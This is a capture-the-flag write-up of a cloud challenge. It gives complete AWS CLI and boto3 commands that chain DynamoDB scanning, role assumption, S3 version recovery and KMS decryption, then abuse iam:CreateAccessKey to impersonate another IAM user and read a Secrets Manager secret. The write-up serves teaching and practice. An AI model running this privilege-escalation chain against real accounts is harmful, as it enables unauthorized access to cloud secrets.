Bought Riot
Bought Riot
Platform: CACTF2026 | Category: Infrastructure | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-28 | Status: Solved Techniques: iam_role_assumption, dynamodb_filtered_scan, s3_version_recovery, kms_decryption, cross_user_access_key_creation
Summary
Task: Two scoped services expose a briefing and an AWS-compatible cloud environment with a hidden rumor-payment trail. Solution: Follow DynamoDB, historical S3, KMS, and IAM evidence, impersonate the broker user, then read the payout secret.
Bought Riot — CACTF2026
Description
Miren Vale must determine who started a false rumor about a Stormbound captain selling the east-road schedule and who paid to spread it. Two scoped services were provided at 154.57.164.73:31550 and 154.57.164.73:32028.
The goal was to correlate the rumor's broker with its payment trail. The title “Bought Riot” hints at paid agitation or astroturfing rather than an ordinary web-injection challenge.
Overview
The briefing service disclosed a limited AWS IAM user and the endpoint of an AWS-compatible API. The intended chain crossed several cloud services:
- Query a known DynamoDB table and isolate its only
LIVEroad record. - Assume the disclosed scanner role with its external ID.
- Recover an older S3 object version because the current manifest is redacted.
- Decrypt that historical object with KMS.
- Abuse the scanner role's
iam:CreateAccessKeypermission to become the named broker user. - From that user, assume the runner role and read the named Secrets Manager secret.
Reconnaissance
Nmap initially soft-matched port 31550 as RTSP and SIP, but its HTTP responses contained x-amz-* headers and an AWS-style AccessDeniedException. It was therefore not a custom RTSP or SIP service. Port 32028 returned an HTTP page identified as PhoenixBriefing/1.0 Python/3.12.13.
The briefing exposed /player-creds.json, which supplied disposable challenge credentials for eastreach-supply-auditor and directed API calls to port 31550. Live credentials and tokens are intentionally represented by placeholders below:
bash read-only • copy allowedexport AWS_ENDPOINT='http://154.57.164.73:31550' export AWS_DEFAULT_REGION='us-east-1' export AWS_ACCESS_KEY_ID='<BRIEFING_ACCESS_KEY>' export AWS_SECRET_ACCESS_KEY='<BRIEFING_SECRET_KEY>' export AWS_SESSION_TOKEN='<BRIEFING_SESSION_TOKEN_IF_PRESENT>' aws --endpoint-url "$AWS_ENDPOINT" sts get-caller-identity
The identity response confirmed:
text read-only • copy allowedarn:aws:iam::593847102664:user/eastreach-supply-auditor
Analysis
1. Locate the live settlement
dynamodb:ListTables was denied. This did not prevent direct access because the briefing named the table supply-road-settlements. A server-side filter avoided manually reviewing all 224 rows:
bash read-only • copy allowedaws --endpoint-url "$AWS_ENDPOINT" dynamodb scan \ --table-name supply-road-settlements \ --filter-expression '#status = :live' \ --expression-attribute-names '{"#status":"status"}' \ --expression-attribute-values '{":live":{"S":"LIVE"}}'
The sole live record was ROAD-3D9C. It supplied these next-hop values:
- scanner role:
arn:aws:iam::593847102664:role/supply-road-scanner - scanner external ID:
eastreach-road-scanner-3d9c - runner external ID:
eastreach-supply-road-runner-3d9c - manifest bucket:
supply-road-manifests
2. Assume the scanner role
Use jq to parse the temporary credentials rather than copying session values into shell history:
bash read-only • copy allowedaws --endpoint-url "$AWS_ENDPOINT" sts assume-role \ --role-arn 'arn:aws:iam::593847102664:role/supply-road-scanner' \ --role-session-name road-audit \ --external-id 'eastreach-road-scanner-3d9c' > scanner-session.json export AWS_ACCESS_KEY_ID="$(jq -r '.Credentials.AccessKeyId' scanner-session.json)" export AWS_SECRET_ACCESS_KEY="$(jq -r '.Credentials.SecretAccessKey' scanner-session.json)" export AWS_SESSION_TOKEN="$(jq -r '.Credentials.SessionToken' scanner-session.json)"
The scanner could read manifests/ROAD-3D9C.json, but its current content was deliberately redacted. S3 versioning was the crucial clue:
bash read-only • copy allowedaws --endpoint-url "$AWS_ENDPOINT" s3api list-object-versions \ --bucket supply-road-manifests \ --prefix 'manifests/ROAD-3D9C.json' aws --endpoint-url "$AWS_ENDPOINT" s3api get-object \ --bucket supply-road-manifests \ --key 'manifests/ROAD-3D9C.json' \ --version-id '2cd92a47-5545-4276-850a-441e6d54898f' \ historical-manifest.bin
The historical body was a kms:v3:... ciphertext. The AWS-compatible KMS accepted the downloaded bytes directly as CiphertextBlob; no base64 preprocessing was necessary:
python read-only • copy allowed#!/usr/bin/env python3 import os import boto3 endpoint = os.environ["AWS_ENDPOINT"] kms = boto3.client( "kms", endpoint_url=endpoint, region_name=os.environ.get("AWS_DEFAULT_REGION", "us-east-1"), ) with open("historical-manifest.bin", "rb") as source: ciphertext = source.read() plaintext = kms.decrypt(CiphertextBlob=ciphertext)["Plaintext"] with open("decrypted-manifest.json", "wb") as destination: destination.write(plaintext)
The decrypted JSON identified:
- broker user:
road-messenger - runner role:
arn:aws:iam::593847102664:role/supply-road-runner - payout secret:
supply-road/payout/eastreach-relay-3d9c
This connected the rumor-spreading broker to a concrete payout record.
3. Make the required principal transition
Assuming the runner role directly as either the auditor or scanner was denied. The scanner role did, however, have iam:CreateAccessKey permission for road-messenger. Creating a key for another IAM user was the privilege-transition primitive:
bash read-only • copy allowedaws --endpoint-url "$AWS_ENDPOINT" iam create-access-key \ --user-name road-messenger > broker-key.json export AWS_ACCESS_KEY_ID="$(jq -r '.AccessKey.AccessKeyId' broker-key.json)" export AWS_SECRET_ACCESS_KEY="$(jq -r '.AccessKey.SecretAccessKey' broker-key.json)" unset AWS_SESSION_TOKEN
Now the runner role's trust policy was satisfied:
bash read-only • copy allowedaws --endpoint-url "$AWS_ENDPOINT" sts assume-role \ --role-arn 'arn:aws:iam::593847102664:role/supply-road-runner' \ --role-session-name payout-audit \ --external-id 'eastreach-supply-road-runner-3d9c' > runner-session.json export AWS_ACCESS_KEY_ID="$(jq -r '.Credentials.AccessKeyId' runner-session.json)" export AWS_SECRET_ACCESS_KEY="$(jq -r '.Credentials.SecretAccessKey' runner-session.json)" export AWS_SESSION_TOKEN="$(jq -r '.Credentials.SessionToken' runner-session.json)"
4. Recover the payout evidence
The runner role could retrieve the payout record from Secrets Manager:
bash read-only • copy allowedaws --endpoint-url "$AWS_ENDPOINT" secretsmanager get-secret-value \ --secret-id 'supply-road/payout/eastreach-relay-3d9c' \ --query SecretString \ --output text
This returned the challenge flag. The broker identity explains who spread the rumor, while the payout secret completes the payment trail suggested by the narrative.
Failed Paths and Cleanup
dynamodb:ListTableswas denied; direct scanning of the briefing-named table was required.- The latest S3 manifest was redacted; only the historical object version contained useful evidence.
- Direct runner-role assumption from the auditor and scanner principals was denied by the trust relationship.
- No generic SQL injection, command injection, or other web exploit was needed.
- Deleting the created
road-messengeraccess key was attempted, butiam:DeleteAccessKeywas denied. The key remained only inside the disposable challenge instance; no transient credential is reproduced here.
Lessons
Cloud challenges often require following authorization edges rather than finding one universal administrator credential. Here, each disclosed ARN, external ID, object version, and secret name described one edge in the intended chain. The decisive misconfiguration was not broad S3 access alone, but the ability to mint credentials for the exact IAM user trusted by the final role.